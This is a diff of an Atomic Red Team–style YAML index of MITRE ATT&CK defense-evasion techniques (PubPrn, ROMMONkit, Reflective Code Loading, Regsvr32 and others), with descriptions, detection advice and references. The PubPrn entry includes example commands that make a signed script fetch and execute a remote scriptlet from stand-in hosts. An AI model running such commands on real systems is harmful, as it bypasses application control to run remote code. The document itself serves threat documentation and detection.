+      - url: https://attack.mitre.org/techniques/T1055/008
+        external_id: T1055.008
+        source_name: mitre-attack
+      - url: http://man7.org/linux/man-pages/man2/ptrace.2.html
+        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
+          Manual. Retrieved February 21, 2020.
+        source_name: PTRACE man
+      - url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
+        description: Jain, S. (2018, July 25). Code injection in running process using
+          ptrace. Retrieved February 21, 2020.
+        source_name: Medium Ptrace JUL 2018
+      - url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
+        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
+          21, 2020.
+        source_name: BH Linux Inject
+      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
+          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
+          December 20, 2017.'
+        source_name: ArtOfMemoryForensics
+      - source_name: GNU Acct
+        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
+          December 20, 2017.
+        url: https://www.gnu.org/software/acct/
+      - source_name: RHEL auditd
+        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
+          Chapter 7 - System Auditing. Retrieved December 20, 2017.
+        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
+      - source_name: Chokepoint preload rootkits
+        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
+          Retrieved December 20, 2017.
+        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
     atomic_tests: []
   T1216.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1216.001
-        url: https://attack.mitre.org/techniques/T1216/001
-      - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
-        description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved
-          April 9, 2018.'
-        source_name: Enigma0x3 PubPrn Bypass
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: PubPrn
-      description: |-
-        Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.
-
-        <code>PubPrn.vbs</code> is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>.
-      id: attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-08T23:36:30.648Z'
-      created: '2020-02-03T16:49:57.788Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: Monitor script processes, such as `cscript`, and command-line
-        parameters for scripts like PubPrn.vbs that may be used to proxy execution
-        of malicious files.
+      name: PubPrn
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-09-01T00:57:01.161Z'
+      created: '2020-02-03T16:49:57.788Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      - Application Control
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)
+
+        Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
+
+        In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
+      x_mitre_contributors:
+      - Atul Nair, Qualys
+      x_mitre_detection: Monitor script processes, such as `cscript`, and command-line
+        parameters for scripts like PubPrn.vbs that may be used to proxy execution
+        of malicious files.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1216/001
+        external_id: T1216.001
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn
+        description: Jason Gerend. (2017, October 16). pubprn. Retrieved July 23,
+          2021.
+        source_name: pubprn
+      - source_name: Enigma0x3 PubPrn Bypass
+        description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved
+          April 9, 2018.'
+        url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
       identifier: T1216.001
     atomic_tests:
     - name: PubPrn.vbs Signed Script Bypass
@@ -35780,50 +36717,64 @@ defense-evasion:
         name: command_prompt
   T1542.004:
     technique:
-      created: '2020-10-20T00:05:48.790Z'
-      modified: '2020-10-22T02:18:19.568Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
       type: attack-pattern
+      modified: '2020-10-22T02:18:19.568Z'
+      name: ROMMONkit
+      x_mitre_data_sources:
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      created: '2020-10-20T00:05:48.790Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
       id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc
       description: |-
         Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)
 
 
         ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
-      name: ROMMONkit
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.004
-        url: https://attack.mitre.org/techniques/T1542/004
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      x_mitre_platforms:
-      - Network
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
       x_mitre_detection: There are no documented means for defenders to validate the
         operation of the ROMMON outside of vendor support. If a network device is
         suspected of being compromised, contact the vendor to assist in further investigation.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_data_sources:
-      - 'Firmware: Firmware Modification'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/004
+        external_id: T1542.004
+        source_name: mitre-attack
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
     atomic_tests: []
   T1600.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Reduce Key Space
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-21T22:36:22.369Z'
+      created: '2020-10-19T19:03:48.310Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
       id: attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8
       description: |-
         Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)
@@ -35831,54 +36782,60 @@ defense-evasion:
         Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.
 
         Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)
-      name: Reduce Key Space
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1600.001
-        url: https://attack.mitre.org/techniques/T1600/001
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-10-21T22:36:22.369Z'
-      created: '2020-10-19T19:03:48.310Z'
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
       x_mitre_detection: There is no documented method for defenders to directly identify
         behaviors that reduce encryption key space. Detection efforts may be focused
         on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)
         and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some
         detection methods require vendor support to aid in investigation.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1600/001
+        external_id: T1600.001
+        source_name: mitre-attack
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
     atomic_tests: []
   T1108:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1108
-        url: https://attack.mitre.org/techniques/T1108
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
-        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
-          Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
+      type: attack-pattern
+      name: Redundant Access
+      x_mitre_version: '3.1'
+      modified: '2021-03-08T10:33:00.985Z'
+      created: '2017-05-31T21:31:18.867Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_deprecated: true
+      id: attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a
+      x_mitre_defense_bypassed:
+      - Network intrusion detection system
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136),
         [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External
         Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries
@@ -35896,23 +36853,8 @@ defense-evasion:
         applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100)
         is one such way to maintain access to a network through an externally accessible
         Web server."
-      name: Redundant Access
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-08T10:33:00.985Z'
-      created: '2017-05-31T21:31:18.867Z'
-      x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '3.1'
-      x_mitre_defense_bypassed:
-      - Network intrusion detection system
-      - Anti-virus
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: |-
         Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.
 
@@ -35921,77 +36863,162 @@ defense-evasion:
         If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.
 
         For alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1108
+        external_id: T1108
+        source_name: mitre-attack
+      - source_name: Mandiant APT1
+        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
+          Units. Retrieved July 18, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+    atomic_tests: []
+  T1620:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Reflective Code Loading
+      x_mitre_data_sources:
+      - 'Script: Script Execution'
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2021-11-01T18:09:09.670Z'
+      created: '2021-10-05T01:15:06.293Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
       x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
       - macOS
+      - Linux
+      - Windows
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
-      - Administrator
-      - SYSTEM
+      description: |-
+        Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)
+
+        Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
       x_mitre_contributors:
-      - Praetorian
+      - João Paulo de A. Filho, @Hug1nN__
+      - Joas Antonio dos Santos, @C0d3Cr4zy
+      - Shlomi Salem, SentinelOne
+      - Lior Ribak, SentinelOne
+      - Rex Guo, @Xiaofei_REX, Confluera
+      x_mitre_detection: "Monitor for code artifacts associated with reflectively
+        loading code, such as the abuse of .NET functions such as <code>Assembly.Load()</code>
+        and [Native API](https://attack.mitre.org/techniques/T1106) functions such
+        as <code>CreateThread()</code>, <code>memfd_create()</code>, <code>execve()</code>,
+        and/or <code>execveat()</code>.(Citation: 00sec Droppers)(Citation: S1 Old
+        Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For
+        example, a common signature related to reflective code loading on Windows
+        is mechanisms related to the .NET Common Language Runtime (CLR) -- such as
+        mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such
+        as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs
+        of arbitrary code execution from within the memory of potentially compromised
+        processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze
+        process behavior to determine if a process is performing actions it usually
+        does not, such as opening network connections, reading files, or other suspicious
+        actions that could relate to post-compromise behavior. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1620
+        external_id: T1620
+        source_name: mitre-attack
+      - url: https://thewover.github.io/Introducing-Donut/
+        description: The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as
+          Shellcode. Retrieved October 4, 2021.
+        source_name: Introducing Donut
+      - url: https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/
+        description: Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode
+          Analysis. Retrieved October 4, 2021.
+        source_name: S1 Custom Shellcode Tool
+      - url: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
+        description: Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without
+          tmpfs). Retrieved October 4, 2021.
+        source_name: Stuart ELF Memory
+      - url: https://0x00sec.org/t/super-stealthy-droppers/3715
+        description: 0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved
+          October 4, 2021.
+        source_name: 00sec Droppers
+      - url: https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique
+        description: Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel
+          Red Teaming Technique. Retrieved October 4, 2021.
+        source_name: Mandiant BYOL
+      - url: https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/
+        description: 'Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a
+          New Multiplatform Backdoor. Retrieved October 4, 2021.'
+        source_name: Intezer ACBackdoor
+      - url: https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/
+        description: Landry, J. (2016, April 21). Teaching an old RAT new tricks.
+          Retrieved October 4, 2021.
+        source_name: S1 Old Rat New Tricks
+      - url: https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/
+        description: MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET
+          Tradecraft. Retrieved October 4, 2021.
+        source_name: MDSec Detecting DOTNET
     atomic_tests: []
   T1218.009:
     technique:
+      type: attack-pattern
+      modified: '2020-06-20T22:36:37.411Z'
+      name: Regsvcs/Regasm
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-23T19:42:16.439Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: |-
         Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
 
         Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
-      name: Regsvcs/Regasm
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.009
-        url: https://attack.mitre.org/techniques/T1218/009
-      - source_name: MSDN Regsvcs
-        description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool).
-          Retrieved July 1, 2016.
-        url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx
-      - source_name: MSDN Regasm
-        description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved
-          July 1, 2016.
-        url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
-      - source_name: LOLBAS Regsvcs
-        url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
-        description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.
-      - source_name: LOLBAS Regasm
-        url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/
-        description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-20T22:36:37.411Z'
-      created: '2020-01-23T19:42:16.439Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Casey Smith
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: Use process monitoring to monitor the execution and arguments
         of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and
         Regasm.exe with prior history of known good arguments and executed binaries
         to determine anomalous and potentially adversarial activity. Command arguments
         used before and after Regsvcs.exe or Regasm.exe invocation may also be useful
         in determining the origin and purpose of the binary being executed.
-      x_mitre_defense_bypassed:
-      - Digital Certificate Validation
-      - Application control
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/009
+        external_id: T1218.009
+        source_name: mitre-attack
+      - url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx
+        description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool).
+          Retrieved July 1, 2016.
+        source_name: MSDN Regsvcs
+      - url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
+        description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved
+          July 1, 2016.
+        source_name: MSDN Regasm
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
+        description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Regsvcs
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/
+        description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Regasm
       identifier: T1218.009
     atomic_tests:
     - name: Regasm Uninstall Method Call Test
@@ -36075,68 +37102,68 @@ defense-evasion:
         elevation_required: true
   T1218.010:
     technique:
-      id: attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Regsvr32
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:37:32.931Z'
+      created: '2020-01-23T19:52:17.414Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: |-
         Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)
 
         Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
 
         Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.010
-        url: https://attack.mitre.org/techniques/T1218/010
-      - source_name: Microsoft Regsvr32
-        description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and
-          troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.
-        url: https://support.microsoft.com/en-us/kb/249873
-      - source_name: LOLBAS Regsvr32
-        url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
-        description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.
-      - source_name: Carbon Black Squiblydoo Apr 2016
-        description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo”
-          Continues Trend of Attackers Using Native OS Tools to “Live off the Land”.
-          Retrieved April 9, 2018.'
-        url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
-      - source_name: FireEye Regsvr32 Targeting Mongolian Gov
-        description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing
-          Techniques Used in Attacks Targeting the Mongolian Government. Retrieved
-          February 24, 2017.
-        url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-20T22:37:32.931Z'
-      created: '2020-01-23T19:52:17.414Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Casey Smith
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
       x_mitre_detection: 'Use process monitoring to monitor the execution and arguments
         of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history
         of known good arguments and loaded files to determine anomalous and potentially
         adversarial activity. Command arguments used before and after the regsvr32.exe
         invocation may also be useful in determining the origin and purpose of the
         script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)'
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_defense_bypassed:
-      - Digital Certificate Validation
-      - Anti-virus
-      - Application control
